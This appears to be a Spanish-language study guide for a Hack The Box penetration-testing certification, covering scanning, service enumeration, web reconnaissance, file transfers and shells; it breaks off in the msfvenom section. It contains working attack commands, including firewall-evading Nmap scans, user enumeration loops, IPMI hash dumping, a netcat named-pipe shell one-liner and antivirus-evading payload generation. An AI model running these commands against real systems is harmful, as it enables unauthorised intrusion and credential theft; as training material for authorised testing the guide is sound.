Certificación HTB en Pruebas de Penetración
Certificación HTB en Pruebas de Penetración
[Link]
[Link] (Canal cristiano)
[Link]
[Link]
Contenido
Contenido
NMAP .................................................................................................................................................. 5
Footprinting ....................................................................................................................................... 13
Information Gathering - Web Edition ................................................................................................ 45
FILE TRANSFERS (TRANSFERENCIA DE ARCHIVOS) ............................................................................ 59
Shells & Payloads (PROYECTILES Y CARGAS ÚTILES).......................................................................... 63
Metasploit ......................................................................................................................................... 74
Password Attacks (ATAQUES DE CONTRASEÑA) ................................................................................ 85
Ataque a los servicios comunes ...................................................................................................... 204
Reconocimiento, enumeración y
planificación de ataques
NMAP
Herramienta para enumerar hosts, analizar puertos y servicios.
Descubrimiento de host
nmap [Link]/24 -sn -oA tnet | grep for | cut -d" " -f5
Escanear lista de IP
nmap -sn -oA tnet -iL [Link] | grep for | cut -d" " -f5
Escanear múltiples IP
nmap -sn -oA tnet [Link] [Link] [Link]| grep for | cut -d" " -f5
Si estas direcciones IP están una al lado de la otra, también podemos definir el rango en el
octeto respectivo.
nmap -sn -oA tnet [Link]-20| grep for | cut -d" " -f5
Linux/Unix: 64
Windows: 128
MacOS: 64
Solaris/AIX: 254
FreeBSD: 64
Estado Descripción
open Esto indica que se ha establecido la
conexión con el puerto escaneado. Estas
conexiones pueden ser conexiones TCP,
datagramas UDP y asociaciones SCTP.
closed Cuando el puerto se muestra como
cerrado, el protocolo TCP indica que el
paquete que recibimos contiene una RST
bandera. Este método de escaneo
también se puede utilizar para determinar
si nuestro objetivo está vivo o no.
filtered Nmap no puede identificar correctamente
si el puerto escaneado está abierto o
cerrado porque no se devuelve ninguna
respuesta del destino para el puerto o
recibimos un código de error del destino.
unfiltered Este estado de un puerto solo ocurre
durante el escaneo TCP-ACK y significa que
el puerto es accesible, pero no se puede
determinar si está abierto o cerrado.
open|filtered Si no obtenemos respuesta para un puerto
concreto, Nmap lo configuraremos en ese
estado. Esto indica que un firewall o un filtro
de paquetes pueden proteger el puerto.
closed|filtered Este estado solo ocurre en los escaneos
inactivos de ID de IP e indica que fue
imposible determinar si el puerto
escaneado está cerrado o filtrado por un
firewall.
Descubriendo puertos TCP abiertos
Guarda los resultados en todos los formatos, comenzando el nombre de cada archivo con
' target '.
Hojas de estilo
Xsltproc: Se encuentra incluida dentro de parrot OS y nos permite convertir salidas (archivos)
de nmap .xml a .html
Categoría Descripción
auth Determinación de credenciales de
autenticación.
broadcast Los scripts, que se utilizan para el
descubrimiento de hosts mediante la
transmisión y los hosts descubiertos, se
pueden agregar automáticamente a los
análisis restantes.
brute Ejecuta scripts que intentan iniciar sesión en
el servicio respectivo mediante fuerza bruta
con credenciales.
default Scripts predeterminados ejecutados
usando la opción -sC.
discovery Evaluación de servicios accesibles.
dos Estos scripts se utilizan para comprobar los
servicios en busca de vulnerabilidades de
denegación de servicio y se utilizan menos
porque dañan los servicios.
exploit Esta categoría de scripts intenta explotar
vulnerabilidades conocidas del puerto
escaneado.
external Scripts que utilizan servicios externos para su
posterior procesamiento.
fuzzer Utiliza scripts para identificar
vulnerabilidades y manejo inesperado de
paquetes mediante el envío de diferentes
campos, lo que puede llevar mucho
tiempo.
intrusive Scripts intrusivos que podrían afectar
negativamente al sistema de destino.
malware Comprueba si algún malware infecta el
sistema de destino.
safe Scripts defensivos que no realizan accesos
intrusivos y destructivos.
version Extensión para detección de servicios.
vuln Identificación de vulnerabilidades
específicas.
Ejemplos:
comandos predeterminados
scripts específicos
Guiones definidos
Escaneo agresivo
Timing
(-T <0-5>) Donde 0 es el escaneo más lento (Menos agresivo) y 5 más rápido (Mas agresivo)
-T 0/-T paranoid
-T 1/-T sneaky
-T 2/-T polite
-T 3/-T normal
-T 4/-T aggressive
-T 5/-T insane
nmap [Link]/24 -F -T 5
-sT (TCP Connect Scan): El más ruidoso porque establece conexiones completas con el
puerto objetivo. Genera entradas de registro en los sistemas del objetivo, lo que facilita su
detección.
-sS (SYN Scan): Menos ruidoso que -sT. Envía un paquete SYN y espera un SYN/ACK de vuelta,
pero no completa la conexión (envía un RST en lugar de un ACK). Esto hace que sea menos
probable que se registren conexiones completas, pero aún puede ser detectado por
sistemas de seguridad configurados para monitorear los paquetes SYN.
-sA (ACK Scan): El más sigiloso de los tres. Envía solo paquetes ACK y no establece ninguna
conexión. Se utiliza principalmente para mapear reglas de firewall y detectar puertos
filtrados. Este tipo de escaneo es menos probable de ser registrado y puede evadir algunos
sistemas de detección de intrusos (IDS).
El método de escaneo TCP ACK (-sA) de Nmap es mucho más difícil de filtrar para firewalls
y sistemas IDS/IPS que los escaneos SYN (-sS) o Connect (-sT) normales porque solo envían
un paquete TCP con solo la bandera ACK.
Si el administrador usa el firewall para controlar este puerto y no filtra IDS/IPS correctamente,
nuestros paquetes TCP serán confiables y se transmitirán.
Descubrir puertos
nmap -v -sV -p- -Pn -n --disable-arp-ping --source-port 53 <target>
nmap <target> -p50000 -sS -Pn -n --disable-arp-ping --packet-trace --source-port 53
nmap --top-ports=10 -sA -sV <target> -T 2 --disable-arp-ping --packet-trace -Pn -n -vv -D
RND:5
nmap -sV -p 50000 -T1 -Pn -n --source-port 53 <target>
Ahora que hemos descubierto que el firewall acepta TCP port 53, es muy probable que los
filtros IDS/IPS también estén configurados de manera mucho más débil que otros. Podemos
probar esto intentando conectarnos a este puerto usando Netcat. (Podremos ver la version
del servicio del puerto)
Ejemplo de conexión
[Link]
Encontrar subdominios
[Link]
curl -s [Link] | jq .
Instalacion de jq
for i in $(cat subdomainlist);do host $i | grep "has address" | grep [Link] | cut
-d" " -f1,4;done
Una vez que veamos qué hosts se pueden investigar más a fondo, podemos generar una
lista de direcciones IP con un pequeño ajuste en el comando cut y ejecutarlas en Shodan.
Ahora que tenemos las IPs de los subdominios, con el siguiente comando guardaremos las
IPs en un archivo de texto con el nombre [Link].
for i in $(cat subdomainlist);do host $i | grep "has address" | grep [Link] | cut -d"
" -f4 >> [Link];done
SHODAN
Creamos una cuenta en shodan, y buscamos el API de shodan, para ello vamos al botón
Account.
Ahora desde parrot iniciamos shodan con el comando
Ahora puede ejecutar el comando para realizar la búsqueda en shodan desde la consola.
podemos mostrar todos los registros DNS disponibles donde podríamos encontrar más hosts.
[Link]
Dorks
[Link]
intext:txt inurl:[Link]
intext:txt inurl:[Link]
[Link]
[Link]
Clave SSH
Personal/Staff
Los empleados pueden ser identificados en varias redes comerciales como LinkedIn o Xing.
Las ofertas de trabajo de las empresas también pueden decirnos mucho sobre su
infraestructura y darnos pistas sobre lo que deberíamos buscar.
A partir de una oferta de trabajo como esta podemos ver, por ejemplo, qué lenguajes de
programación son los preferidos por la empresa: Java, C#, C++, Python, Ruby, PHP, Perl, y
obtener mucha información de estas publicaciones.
Security Headers
[Link]
Clickjacking
[Link]
FTP
El File Transfer Protocol (FTP) es uno de los protocolos más antiguos de Internet. El FTP se
ejecuta dentro de la capa de aplicación de la pila del protocolo TCP/IP. Por lo tanto, está
en la misma capa que HTTP o POP. Estos protocolos también funcionan con el soporte de
navegadores o clientes de correo electrónico para realizar sus servicios. También existen
programas FTP especiales para el Protocolo de transferencia de archivos.
Esto se refleja, por ejemplo, en el hecho de que TFTP, a diferencia de FTP, no requiere
autenticación del usuario. No admite el inicio de sesión protegido mediante contraseñas y
establece límites de acceso basados únicamente en los permisos de lectura y escritura de
un archivo en el sistema operativo. En la práctica, esto lleva a que TFTP opere
exclusivamente en directorios y con archivos que han sido compartidos con todos los
usuarios y pueden leerse y escribirse globalmente. Debido a la falta de seguridad, TFTP, a
diferencia de FTP, sólo puede utilizarse en redes locales y protegidas.
Comandos Descripción
connect Establece el host remoto y, opcionalmente,
el puerto para transferencias de archivos.
get Transfiere un archivo o conjunto de archivos
desde el host remoto al host local.
put Transfiere un archivo o conjunto de archivos
desde el host local al host remoto.
quit Sale de tftp.
status Muestra el estado actual de tftp, incluido el
modo de transferencia actual (ascii o
binario), el estado de la conexión, el valor
de tiempo de espera, etc.
verbose Activa o desactiva el modo detallado, que
muestra información adicional durante la
transferencia de archivos.
Instalar vsFTPd
hay un archivo llamado /etc/ftpusersal que también debemos prestar atención, ya que
este archivo se utiliza para denegar el acceso al servicio FTP a ciertos usuarios.
cat /etc/ftpusers
ftp [Link]
help ayuda
ls Lista
ls -R Lista recursiva
get Important\ [Link] Descarga [Link] del directorio import
Put Cargar archivos
Exit Salir
Una vez hayamos descargado todos los archivos con wget, crearemos un directorio con el
nombre de la dirección IP de nuestro objetivo. Todos los archivos descargados se
almacenan allí, que luego podemos inspeccionar localmente.
touch [Link]
Con el comando PUT, podemos cargar archivos de la carpeta actual al servidor FTP.
put [Link]
Interacción de servicio
nc -nv <target> 21
telnet <target> 21
ftp <target>
SMB/SAMBA
Ruta samba
/etc/samba/[Link]
mostrar una lista (-L) null session (-N), que es el acceso (anonymous) sin el ingreso de usuarios
existentes o contraseñas válidas.
SMBMAP
SMBCLIENT
Es una herramienta incluida en el paquete Samba, utilizada para interactuar con el servicio
RPC (Remote Procedure Call) en servidores Windows. Permite realizar diversas operaciones
administrativas y de consulta en sistemas Windows de manera remota.
Funcionalidades de rpcclient
Gestión de Cuentas
Consulta Descripción
querydispinfo and enumdomusers Enumeración de usuarios
srvinfo Información del servidor.
enumdomains Enumere todos los dominios que están
implementados en la red.
querydominfo Proporciona información de dominio,
servidor y usuario de los dominios
implementados.
netshareenumall Enumera todas las acciones disponibles.
netsharegetinfo <share> Proporciona información sobre una acción
específica.
enumdomusers Enumera todos los usuarios del dominio.
queryuser <RID> Proporciona información sobre un usuario
queryuser 0x3e9 específico.
for i in $(seq 500 1100);do rpcclient -N -U "" <target> -c "queryuser 0x$(printf '%x\n' $i)" |
grep "User Name\|user_rid\|group_rid" && echo "";done
for i in $(seq 500 1100);do rpcclient -N -U "user%Password" <target> -c "queryuser 0x$(printf
'%x\n' $i)" | grep "User Name\|user_rid\|group_rid" && echo "";done
Veremos algo como lo siguiente
[Link] <target>
Resultado
SMBmap
smbmap -H <target>
CrackMapExec
Otra herramienta que vale la pena mencionar es la llamada enum4linux-ng , que se basa
en una herramienta más antigua, enum4linux. Esta herramienta automatiza muchas de las
consultas, pero no todas, y puede devolver una gran cantidad de información.
Enum4Linux-ng – Instalación
Enum4Linux-ng - Enumeración
./[Link] <target> -A
Necesitamos utilizar más de dos herramientas para la enumeración. Porque puede suceder
que, debido a la programación de las herramientas, obtengamos información diferente
que tengamos que comprobar manualmente.
NFS
cat /etc/exports
Exportar FS
/mnt/nfs [Link]/24
Una vez que hayamos descubierto dicho servicio NFS, podemos montarlo en nuestra
máquina local. Para ello, podemos crear una nueva carpeta vacía en la que se montará
el recurso compartido NFS. Una vez montado, podemos navegar por él y ver el contenido
como si fuera nuestro sistema local.
showmount -e <target>
mkdir Directorio
mount -t nfs <target>:/ ./Directorio/ -o nolock
mount -t nfs <target>:/JNFS ./Directorio/ -o nolock
cd Directorio
tree .
También podemos usar NFS para una mayor escalada. Por ejemplo, si tenemos acceso al
sistema a través de SSH y queremos leer archivos de otra carpeta que un usuario específico
pueda leer, necesitaríamos cargar un shell en el recurso compartido NFS que tiene el SUID
de ese usuario y luego ejecutar el shell a través del usuario SSH.
Una vez que hayamos realizado todos los pasos necesarios y obtenido la información que
necesitamos, podemos desmontar el recurso compartido NFS.
Desmontaje
cd ..
umount ./target-NFS
rm -rf target-NFS
DNS
Domain Name System (DNS) es una parte integral de Internet. Por ejemplo, a través de
nombres de dominio, como [Link] o [Link],
podemos llegar a los servidores web a los que el proveedor de hosting tiene asignadas una
o más direcciones IP específicas.
El DNS no está cifrado, pero existen herramientas para que viaje cifrado, estas herramientas
son DNS over TLS (DoT) o DNS over HTTPS (DoH) y DNSCrypt.
Del resultado del comando anterior obtenemos el resultado de la siguiente imagen, donde
podremos cambiar el punto (.) por el @ y este sería el correo (awsdns-
hostmaster@[Link]).
Podemos utilizar la opción ANY para ver todos los registros disponibles. Esto hará que el
servidor nos muestre todas las entradas disponibles que está dispuesto a revelar. Es
importante tener en cuenta que no se mostrarán todas las entradas de las zonas.
DIG
Usaremos un diccionario de SecLists con nombres de host para realizar fuerza bruta.
El Simple Mail Transfer Protocol (SMTP) es un protocolo para enviar correos electrónicos en
una red IP. Se puede utilizar entre un cliente de correo electrónico y un servidor de correo
saliente o entre dos servidores SMTP. SMTP a menudo se combina con los protocolos IMAP o
POP3, que pueden recuperar y enviar correos electrónicos. En principio es un protocolo
basado en cliente-servidor, aunque se puede utilizar SMTP entre un cliente y un servidor y
entre dos servidores SMTP. En este caso, un servidor actúa efectivamente como cliente.
SMTP funciona sin cifrar, sin medidas adicionales y transmite todos los comandos, datos o
información de autenticación en texto sin formato (Texto plano). Para evitar la lectura no
autorizada de datos, el SMTP se utiliza junto con el cifrado SSL/TLS. En determinadas
circunstancias, un servidor utiliza un puerto distinto del puerto TCP estándar 25 para la
conexión cifrada, por ejemplo, el puerto TCP 465.
Para interactuar con el servidor SMTP, podemos usar la herramienta telnet para inicializar
una conexión TCP con el servidor SMTP. La inicialización real de la sesión se realiza con el
comando HELO o EHLO.
Comandos
Dominio Descripción
AUTH PLAIN AUTH es una extensión de servicio utilizada
para autenticar al cliente.
HELO El cliente inicia sesión con el nombre de su
computadora y así inicia la sesión.
MAIL FROM El cliente nombra el remitente del correo
electrónico.
RCPT TO El cliente nombra el destinatario del correo
electrónico.
DATA El cliente inicia la transmisión del correo
electrónico.
RSET El cliente aborta la transmisión iniciada,
pero mantiene la conexión entre el cliente
y el servidor.
VRFY El cliente comprueba si hay un buzón
disponible para la transferencia de
mensajes.
EXPN El cliente también verifica si hay un buzón
disponible para enviar mensajes con este
comando.
NOOP El cliente solicita una respuesta del servidor
para evitar la desconexión por tiempo de
espera.
QUIT El cliente finaliza la sesión.
Telnet-VRFY
El comando VRFY se puede utilizar para enumerar los usuarios existentes en el sistema. Sin
embargo, esto no siempre funciona, puede arrojar falsos positivos según la configuración
del servidor.
SMTP puede emitir code 252 para usuarios existentes, pero también puede llegar a
confirmar la existencia de un usuario que no existe en el sistema.
VRFY root
252 2.0.0 root
VRFY aaaaaaaaaaaaaaaaaaaaaaaaaaaa
252 2.0.0 aaaaaaaaaaaaaaaaaaaaaaaaaaaa
telnet <IP> 25
nc [dirección_IP] 25
helo <IPVICTIMA> EHLO <IPVICTIMA>
mail from: atacante@[Link]
rcpt to: victima@[Link]
Data
Quit
Con la ayuda de Internet Message Access Protocol (IMAP), es posible acceder a los correos
electrónicos desde un servidor de correo. A diferencia de Post Office Protocol (POP3), IMAP
permite la gestión en línea de correos electrónicos directamente en el servidor y admite
estructuras de carpetas. Se trata, por tanto, de un protocolo de red para la gestión online
de correos electrónicos en un servidor remoto.
POP3, por otro lado, no tiene la misma funcionalidad que IMAP y solo proporciona listar,
recuperar y eliminar correos electrónicos como funciones en el servidor de correo
electrónico. Por lo tanto, se deben utilizar protocolos como IMAP para funcionalidades
adicionales como buzones jerárquicos directamente en el servidor de correo, acceso a
múltiples buzones durante una sesión y preselección de correos electrónicos.
Puertos:
110/tcp pop3
143/tcp imap
993/tcp imaps
995/tcp pop3s
SMTP se suele utilizar para enviar correos electrónicos. Al copiar los correos electrónicos
enviados en una carpeta IMAP, todos los clientes tienen acceso a todos los correos
enviados, independientemente de la computadora desde la que se enviaron. Otra ventaja
del Protocolo de acceso a mensajes de Internet es la creación de carpetas personales y
estructuras de carpetas en el buzón. Esta característica hace que el buzón sea más claro y
fácil de administrar. Sin embargo, aumenta la necesidad de espacio de almacenamiento
en el servidor de correo electrónico.
Sin más medidas, IMAP funciona sin cifrar y transmite comandos, correos electrónicos o
nombres de usuario y contraseñas en texto plano. Muchos servidores de correo electrónico
requieren establecer una sesión IMAP cifrada para garantizar una mayor seguridad en el
tráfico de correo electrónico y evitar el acceso no autorizado a los buzones de correo. Para
este fin se suele utilizar SSL/TLS. Dependiendo del método y la implementación utilizados, la
conexión cifrada utiliza el puerto estándar 143 o un puerto alternativo como 993.
Comandos IMAP
Dominio Descripción
1 LOGIN username password Inicio de sesión del usuario.
1 LIST "" * Enumera todos los directorios.
1 CREATE "INBOX" Crea un buzón con un nombre
especificado.
1 DELETE "INBOX" Elimina un buzón.
1 RENAME "ToRead" "Important" Cambia el nombre de un buzón.
1 LSUB "" * Devuelve un subconjunto de nombres del
conjunto de nombres que el Usuario ha
declarado como active o subscribed.
1 SELECT INBOX Selecciona un buzón para poder acceder
a los mensajes del buzón.
1 UNSELECT INBOX Sale del buzón seleccionado.
1 FETCH <ID> all Recupera datos asociados con un mensaje
en el buzón.
1 CLOSE Elimina todos los mensajes con la bandera
Deleted establecida.
1 LOGOUT Cierra la conexión con el servidor IMAP.
Comandos POP3
Dominio Descripción
USER username Identifica al usuario.
PASS password Autenticación del usuario mediante su
contraseña.
STAT Solicita la cantidad de correos electrónicos
guardados del servidor.
LIST Solicita al servidor el número y tamaño de
todos los correos electrónicos.
RETR id Solicita al servidor que entregue el correo
electrónico solicitado por ID.
DELE id Solicita al servidor que elimine el correo
electrónico solicitado por ID.
CAPA Solicita al servidor que muestre las
capacidades del servidor.
RSET Solicita al servidor que restablezca la
información transmitida.
QUIT Cierra la conexión con el servidor POP3.
De forma predeterminada, los puertos 110, 143, 993 y 995 se utilizan para IMAP y POP3. Los
dos puertos superiores se utilizan TLS/SSL para cifrar la comunicación entre el cliente y el
servidor.
Con los siguientes comandos de curl podremos ver los directorios del servidor
Para interactuar con el servidor IMAP o POP3 a través de SSL podemos utilizar openssl, así
como ncat.
OpenSSL: interacción cifrada TLS POP3 (port 995)
Ingresamos el comando (openssl s_client -connect <IP>:imaps) para lograr la conexión con
el servidor, luego ingresamos las credenciales con el comando (a LOGIN <usuario>
<contraseña>) y ya podremos interactuar con el servidor mediante el servicio IMAP.
SNMP
Simple Network Management Protocol (SNMP) fue creado para monitorear dispositivos de
red. Además, este protocolo también se puede utilizar para gestionar tareas de
configuración y cambiar ajustes de forma remota. El hardware habilitado para SNMP
incluye enrutadores, conmutadores, servidores, dispositivos IoT y muchos otros dispositivos
que también pueden consultarse y controlarse mediante este protocolo estándar.
Un SNMP Trap es un mensaje que un dispositivo (como un router, switch o servidor) envía a
un gestor SNMP para notificarle sobre ciertos eventos o condiciones sin que el gestor tenga
que solicitar esa información explícitamente. Los traps permiten al dispositivo notificar al
gestor sobre situaciones como errores, cambios de estado o eventos críticos.
OneSixtyOne
Braa
MYSQL
Las bases de datos más importantes para el servidor MySQL son system schema (sys) y
information schema (information_schema). El esquema del sistema contiene tablas,
información y metadatos necesarios para la gestión.
MSSQL
También podemos usar el módulo de metasploit (mssql_ping) el cual nos dará información
valiosa.
Instalación de impacket
Oracle TNS
Port TCP/1521
Antes de que podamos enumerar el oyente TNS e interactuar con él, debemos descargar
algunos paquetes y herramientas, en caso de que aún no los tenga. Aquí hay un script Bash
que hace todo eso (La instalacion):
[Link]
#!/bin/bash
su botache
python3 [Link]
Nmap
ODAT (Herramienta)
Link: [Link]
su botache
python3 [Link] all -s <IP>
SQLPLUS Instalacion
wget
[Link]
[Link]
wget
[Link]
[Link]
sudo unzip /home/botache/programas/[Link] -d
/opt/oracle/instantclient_23_4
sudo unzip /home/botache/programas/[Link] -d
/opt/oracle/instantclient_23_4
SQLPLUS Conexión
Si sale el error: sqlplus: error while loading shared libraries: [Link]: cannot open shared
object file: No such file or directory (Ejecutamos lo siguiente).
Otra opción es cargar un shell web en el destino. Sin embargo, esto requiere que el servidor
ejecute un servidor web y necesitamos saber la ubicación exacta del directorio raíz del
servidor web. No obstante, si sabemos qué tipo de sistema estamos tratando, podemos
probar las rutas por defecto, que son:
OS Camino
linux /var/www/html
windows C:\inetpub\wwwroot
En primer lugar, siempre es importante probar nuestro enfoque de explotación con archivos
que no parezcan peligrosos para los sistemas antivirus o de detección/prevención de
intrusiones. Por lo tanto, creamos un archivo de texto con una cadena y lo usamos para
cargarlo en el sistema de destino.
IPMI
IPMI se comunica a través del puerto 623 UDP. Los sistemas que utilizan el protocolo IPMI se
denominan controladores de gestión de placa base (BMC). Los BMC generalmente se
implementan como sistemas ARM integrados que ejecutan Linux y se conectan
directamente a la placa base del host. Los BMC están integrados en muchas placas base,
pero también se pueden agregar a un sistema como una tarjeta PCI. La mayoría de los
servidores vienen con un BMC o admiten la adición de un BMC. Los BMC más comunes que
vemos durante las pruebas de penetración interna son HP iLO, Dell DRAC y Supermicro IPMI.
Si podemos acceder a un BMC durante una evaluación, obtendremos acceso completo a
la placa base del host y podremos monitorear, reiniciar, apagar o incluso reinstalar el
sistema operativo del host. Obtener acceso a un BMC es casi equivalente al acceso físico
a un sistema. Muchos BMC (incluidos HP iLO, Dell DRAC y Supermicro IPMI) exponen una
consola de administración basada en web, algún tipo de protocolo de acceso remoto por
línea de comandos, como Telnet o SSH, y el puerto 623 UDP, que, nuevamente, es para el
Protocolo de red IPMI.
Metasploit Module
auxiliary/scanner/ipmi/ipmi_version
Contraseñas predeterminadas
Hashcat
use auxiliary/scanner/ipmi/ipmi_dumphashes
set rhosts <IP>
run
Configuración predeterminada
El archivo sshd_config, responsable del servidor OpenSSH, tiene solo algunas de las
configuraciones configuradas de forma predeterminada. Sin embargo, la configuración
predeterminada incluye el reenvío X11, que contenía una vulnerabilidad de inyección de
comandos en la versión 7.2p1 de OpenSSH en 2016. Sin embargo, no necesitamos una GUI
para administrar nuestros servidores.
Entornos peligrosos
A pesar de que el protocolo SSH es uno de los protocolos más seguros disponibles en la
actualidad, algunas configuraciones erróneas aún pueden hacer que el servidor SSH sea
vulnerable a ataques fáciles de ejecutar. Echemos un vistazo a las siguientes
configuraciones:
Configuración Descripción
PasswordAuthentication yes Permite la autenticación basada en
contraseña.
PermitEmptyPasswords yes Permite el uso de contraseñas vacías.
PermitRootLogin yes Permite iniciar sesión como usuario root.
Protocol 1 Utiliza una versión desactualizada de
cifrado.
X11Forwarding yes Permite el reenvío X11 para aplicaciones
GUI.
AllowTcpForwarding yes Permite el reenvío de puertos TCP.
PermitTunnel Permite hacer túneles.
DebianBanner yes Muestra un banner específico al iniciar
sesión.
ssh -v user@<IP>
Rsync
Rsync es una herramienta rápida y eficiente para copiar archivos de forma local y remota.
Se puede utilizar para copiar archivos localmente en una máquina determinada y
hacia/desde hosts remotos. Es muy versátil y conocido por su algoritmo de transferencia
delta.
puerto 873
NC
A continuación, podemos probar un poco el servicio para ver a qué podemos acceder,
veremos recursos (directorios) compartidos.
Suponiendo que encontramos una carpeta (dev) podríamos enumerarla con rsync.
• Protocolo de escritorio remoto (RDP) puerto TCP 3389 - puerto UDP 3389
• Administración remota de Windows (WinRM) puertos TCP 5985 (HTTP) y 5986 (HTTPS)
• Instrumentación de Administración Windows (WMI) puerto TCP 135
Nmap NSE RDP
cpan
yes
install Encoding::BER
Nmap WinRM
WinRM Conexión
WMI
Instalacion y ejecución
Dominio Descripción
dig [Link] Realiza una búsqueda de registro A
predeterminada para el dominio.
dig [Link] A Recupera la dirección IPv4 (registro A)
asociada con el dominio.
dig [Link] AAAA Recupera la dirección IPv6 (registro AAAA)
asociada al dominio.
dig [Link] MX Encuentra los servidores de correo (registros
MX) responsables del dominio.
dig [Link] NS Identifica los servidores de nombres
autorizados para el dominio.
dig [Link] TXT Recupera cualquier registro TXT asociado
con el dominio.
dig [Link] CNAME Recupera el registro de nombre canónico
(CNAME) del dominio.
dig [Link] SOA Recupera el registro de inicio de autoridad
(SOA) para el dominio.
dig @[Link] [Link] Especifica un servidor de nombres
específico para consultar; en este caso
[Link]
dig +trace [Link] Muestra la ruta completa de la resolución
DNS.
dig -x [Link] Realiza una búsqueda inversa en la
dirección IP [Link] para encontrar el
nombre de host asociado. Es posible que
necesite especificar un servidor de
nombres.
dig +short [Link] Proporciona una respuesta breve y concisa
a la consulta.
dig +noall +answer [Link] Muestra solo la sección de respuestas del
resultado de la consulta.
dig [Link] ANY Recupera todos los registros DNS
disponibles para el dominio (Nota: muchos
servidores DNS ignoran ANY las consultas
para reducir la carga y evitar abusos, según
RFC 8482 ).
Al explorar los registros DNS, nos hemos centrado principalmente en el dominio principal
(por ejemplo, [Link]) y su información asociada. Sin embargo, debajo de la
superficie de este dominio primario se encuentra una red potencial de subdominios. Estos
subdominios son extensiones del dominio principal, muchas veces creados para organizar y
separar diferentes secciones o funcionalidades de un sitio web. Por ejemplo, una empresa
podría utilizarlo [Link] para su blog, [Link] su tienda en línea o
[Link] sus servicios de correo electrónico.
Development and Staging Environments: Las empresas suelen utilizar subdominios para
probar nuevas funciones o actualizaciones antes de implementarlas en el sitio principal.
Debido a las relajadas medidas de seguridad, estos entornos a veces contienen
vulnerabilidades o exponen información confidencial.
Hidden Login Portals: Los subdominios pueden albergar paneles administrativos u otras
páginas de inicio de sesión que no están destinadas a ser accesibles públicamente. Los
atacantes que buscan acceso no autorizado pueden encontrarlos como objetivos
atractivos.
Legacy Applications: Las aplicaciones web más antiguas y olvidadas pueden residir en
subdominios y contener potencialmente software obsoleto con vulnerabilidades
conocidas.
Herramienta Descripción
dnsenum Completa herramienta de enumeración de
DNS que admite ataques de diccionario y
de fuerza bruta para descubrir
subdominios.
fierce Herramienta fácil de usar para el
descubrimiento recursivo de subdominios,
que incluye detección de comodines y una
interfaz fácil de usar.
dnsrecon Herramienta versátil que combina múltiples
técnicas de reconocimiento de DNS y
ofrece formatos de salida personalizables.
amass Herramienta mantenida activamente
centrada en el descubrimiento de
subdominios, conocida por su integración
con otras herramientas y amplias fuentes
de datos.
assetfinder Herramienta sencilla pero eficaz para
encontrar subdominios utilizando diversas
técnicas, ideal para escaneos rápidos y
ligeros.
puredns Potente y flexible herramienta de fuerza
bruta DNS, capaz de resolver y filtrar
resultados de forma efectiva.
Fierce
Transferencia de zona
Diccionario:
VHOST en .JS
Luego del atajo de teclado Ctrl + f escribimos para este caso el nombre de dominio
horizontall y encontramos el VHOST (api-prod).
También buscar en los .js
Fingerprinting
wafw00f
wafw00f [Link]
Nikto
whatweb [Link]
[Link]
sirve como un directorio estandarizado dentro del dominio raíz de un sitio web. Esta
ubicación designada, generalmente accesible a través de la /.well-known/ruta de un
servidor web, centraliza los metadatos críticos de un sitio web, incluidos archivos de
configuración e información relacionada con sus servicios, protocolos y mecanismos de
seguridad.
Ejemplo de ruta:
[Link]
[Link]
[Link]
[Link]
known-uri
Scrapy
Instalacion de scrapy
Reconspider
Instalacion de reconspider
wget -O [Link]
[Link]
unzip [Link]
O descargar de github
[Link]
[Link]
Podremos buscar versiones antiguas de las páginas, incluso exploits que han sido borrados.
[Link]
Reconocimiento automatizado
FinalRecon ([Link] FinalRecon es una herramienta
de reconocimiento diseñada para recopilar información detallada sobre sitios web. Ofrece
capacidades avanzadas de escaneo que incluyen descubrimiento de subdominios,
recopilación de información DNS, análisis de encabezados HTTP, y mucho más.
Instalacion de FinalRecon
Ejecución
Extraer correos
Y la herramienta EmailHarvester
[Link]
FILE TRANSFERS (TRANSFERENCIA DE ARCHIVOS)
Codificación y decodificación de PowerShell Base64: (Pasar archivos en base64)
• Archivo que queramos transferir [Link], podemos utilizar diferentes métodos que no
requieren comunicación de red. Si tenemos acceso a una terminal, podemos
codificar un archivo en una cadena base64, copiar su contenido desde la terminal
y realizar la operación inversa, decodificando el archivo en el contenido original.
Veamos cómo podemos hacer esto.
[[Link]]::WriteAllBytes("C:\Users\Lenovo\Desktop\[Link]",
[Convert]::FromBase64String("CODIGO-BASE64"))
Get-FileHash C:\Users\Lenovo\Desktop\[Link] -Algorithm md5
• Podemos ver que con el código anterior en windows con powershell en el escritorio
creamos el archivo [Link] y que el código MD5 es el mismo tanto en windows como
en Linux.
Invoke-WebRequest -Uri '<Target File URL>' -OutFile '[Link]' Descarga de archivo con
PWS Invoke-WebRequest
Invoke-RestMethod -Uri '<Target File URL>' -OutFile '[Link]' Descarga de archivo con
PWS Invoke-RestMethod
IMPACKET Instalación:
Sacar información de Windows a linux vía SMB: (enviar archivos de windows a linux).
copy \\IP-Atacante\a\[Link]
smbclient //IP-Atacante/a -N -c 'put /ruta/al/[Link]' Linux a Linux
En caso de que realizando este procedimiento por SMB nos restrinja por temas de usuario y
salga un aviso como el siguiente:
El comando net use en Windows se utiliza para conectar y asignar una unidad de red
compartida a una letra de unidad en tu equipo. No copia archivos directamente, sino que
establece una conexión con un recurso compartido en una red, permitiendo que puedas
acceder a él como si fuera una unidad local.
Linux a windows:
Linux a Linux
Servidor victima
Utiliza netcat para vincular un shell (/bin/bash) con la dirección IP y el puerto especificado.
Esto permite que una sesión de shell se proporcione de forma remota a cualquier persona
que se conecte a la computadora en la que se emitió este comando.
rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc -l <IPVictima> 7777 > /tmp/f
También sirve el comando para reverse shell.
Atacante
nc <IPVictima> 7777
[Link]
[Link]
Reverse Shell Cheat Sheet
[Link]
20Resources/Reverse%20Shell%[Link]
Reverse shell windows PowerShellTcp.ps1
[Link]
Ejecutar el script anterior desde el windows o lograr hacer que se ejecute desde el windows
manipulado desde un windows, como por ejemplo en un ataque en un entorno de AD
mediante un ataque de Samba Relay.
El atacante a la escucha
nc -lvnp 4321
También podemos usar Metasploit para enviar ataques con cargas útiles (Payloads)
exploit/windows/smb/psexec
MSFVENOM
msfvenom es una herramienta de Metasploit Framework utilizada para generar cargas útiles
(payloads) personalizadas y codificadas. Permite a los usuarios combinar opciones de
carga útil con codificaciones específicas para evitar la detección por software antivirus.
msfvenom es esencial para los profesionales de seguridad y los pentesters en la creación
de binarios maliciosos que pueden ser usados para comprometer sistemas de manera
efectiva durante pruebas de penetración y evaluaciones de seguridad.
msfvenom -l payloads
msfvenom -l payloads | grep windows
Ejemplos de payloads
LPORT=443: Establece el puerto en el host local que escuchará la conexión inversa. El puerto
